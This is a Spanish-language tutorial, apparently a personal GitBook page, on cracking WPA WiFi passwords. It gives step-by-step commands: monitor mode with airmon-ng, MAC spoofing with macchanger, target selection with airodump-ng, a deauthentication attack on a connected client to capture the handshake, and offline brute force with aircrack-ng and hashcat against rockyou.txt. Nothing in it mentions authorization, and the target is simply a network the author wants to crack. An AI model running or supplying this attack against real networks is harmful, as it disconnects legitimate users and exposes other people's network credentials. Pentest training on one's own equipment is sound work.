# Hacking WiFi

1. Para empezar tenemos que poner nuestra placa en modo monitor con

`airmon-ng start wlan0`

2. Despues matamos todos los procesos posibles que nos puedan dar problemas luego.

`airmon-ng check kill`

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2FzQTGPCVdZ9eLmU5UNf6U%2FWhatsApp%20Image%202023-08-04%20at%2011.24.32.jpeg?alt=media&#x26;token=0b55014f-7b8b-4389-ad27-45ce54237dc1" alt=""><figcaption></figcaption></figure>

3. Luego para cambiar la mac tendremos que hacer lo siguiente:

   1. `ifconfig wlan0mon down`
   2. `macchanger --mac=00:20:91:da:1b:6a wlan0mon`
   3. `ifconfig wlan0mon up`

4. Y ahora deberiamos poder ver que la mac actual esta cambiada:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #macchanger -s wlan0mon
Current MAC:   00:20:91:da:1b:6a (J125, NATIONAL SECURITY AGENCY)
Permanent MAC: e4:70:b8:d3:93:5c (unknown)
```

5. Ahora nos ponemos en escucha con `airodump-ng wlan0mon`&#x20;

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2F1a1acaOPb4mFVlaMker4%2FWhatsApp%20Image%202023-08-04%20at%2011.24.32%20(1).jpeg?alt=media&#x26;token=fff8d039-e1d2-4126-aa42-d6f87d6266b5" alt=""><figcaption></figcaption></figure>

6. Identificamos la red que queremos crackear y le sacamos el BSSID y el canal por donde esta, ejecutamos de vuelta el `airodump-ng wlan0mon <BSSID> --channel <CANAL>`&#x20;

Ahora tenemos que seleccionar un dispositivo que por preferencia este generando paquetes para hacer el ataque de deautenticacion y asi capturar el handshake

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2F2Ht0QFBe01rTe5jEtESm%2FWhatsApp%20Image%202023-08-04%20at%2011.24.32%20(3).jpeg?alt=media&#x26;token=8156adf4-dae8-4ee2-8ee2-dbee2ff03a0f" alt=""><figcaption></figcaption></figure>

7. Izquierdo: Una vez que tenemos la MAC del dispositivo, le vamos a hacer un ataque de deautenticacion para que cuando se vuelva a conectar, capturemos el handshake&#x20;

{% hint style="info" %}
-0 = Significa el tipo de ataque, en este caso Deautenticacion y el numero siguente, la cantidad de paquetes a enviar.
{% endhint %}

7. Lado Derecho: Nos ponemos a escuchar por el mismo canal y solo a la bssid objetivo, y todo el output lo escribimos en un archivo que elijamos, en este caso Chiambret &#x20;

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2FNfgxMA2UIahhhwjYv9V8%2FWhatsApp%20Image%202023-08-04%20at%2011.24.32%20(7).jpeg?alt=media&#x26;token=985fe81b-3f94-4918-8fbd-8b2b476ee633" alt=""><figcaption></figcaption></figure>

8. Despues de esto enviamos el ataque y cuando el dispositivo se conecte de vuelta, vamos a capturar el handshake

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2FphoGblrmfNjxeCNBJ6rw%2FWhatsApp%20Image%202023-08-04%20at%2011.24.32%20(8).jpeg?alt=media&#x26;token=3b509953-8cb2-4d40-9337-e543221b5cad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2FdXFlctmaF6Qv1PPAlQGV%2FWhatsApp%20Image%202023-08-04%20at%2011.24.32%20(10).jpeg?alt=media&#x26;token=f482c42c-f709-47e0-8503-cf72d787237c" alt=""><figcaption></figcaption></figure>

9. Ahora con el handshake capturado solo nos queda hacerle un ataque de fuerza bruta con un diccionario y esperar a tener suerte que la contraseña este ahi.

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2FBSNz2U3lI0VWQ9vKzn1j%2FWhatsApp%20Image%202023-08-04%20at%2011.24.32%20(11).jpeg?alt=media&#x26;token=0e99bdc8-da5d-4053-b0ba-02d8db3ecd30" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2146016451-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F38nKKyRGrXyANf7ePhFf%2Fuploads%2FS1fHhqbr8YFKxjTJRhSA%2Fimage.png?alt=media&#x26;token=9f805bec-d4e3-4807-948f-a64048b9b7fb" alt=""><figcaption><p>gg</p></figcaption></figure>

En caso de que quiseramos utilizar hashcat para hacer uso de nuestra GPU, deberiamos hacer lo siguiente:

1. Pasar el archivo <mark style="color:red;">**.cap**</mark> a un formato el cual hashcat pueda utilizar, para esto se puede utilizar <mark style="color:red;">**aircrack**</mark> o <mark style="color:red;">**cap2hccapx.bin**</mark>, el cual se encuentra en /usr/share/hashcat-utils

`aircrack-ng -j hashcatCapture Chiambrett.cap`

`./cap2hccapx.bin /home/rulo/SantaRosa/Chiambret.cap Chiambret.hccapx`

2. Una vez ya tengamos el archivo creado, solo nos queda ejecutar hashcat

`hashcat -m 2500 -d 1 Chiambret.hccapx rockyou.txt --deprecated-check-disable`

3. Y cuando termine el proceso, podemos ver si fue crackeado con exito de la siguiente manera:

`hashcat --show -m 2500 Chiambret.hccapx --deprecated-check-disable`
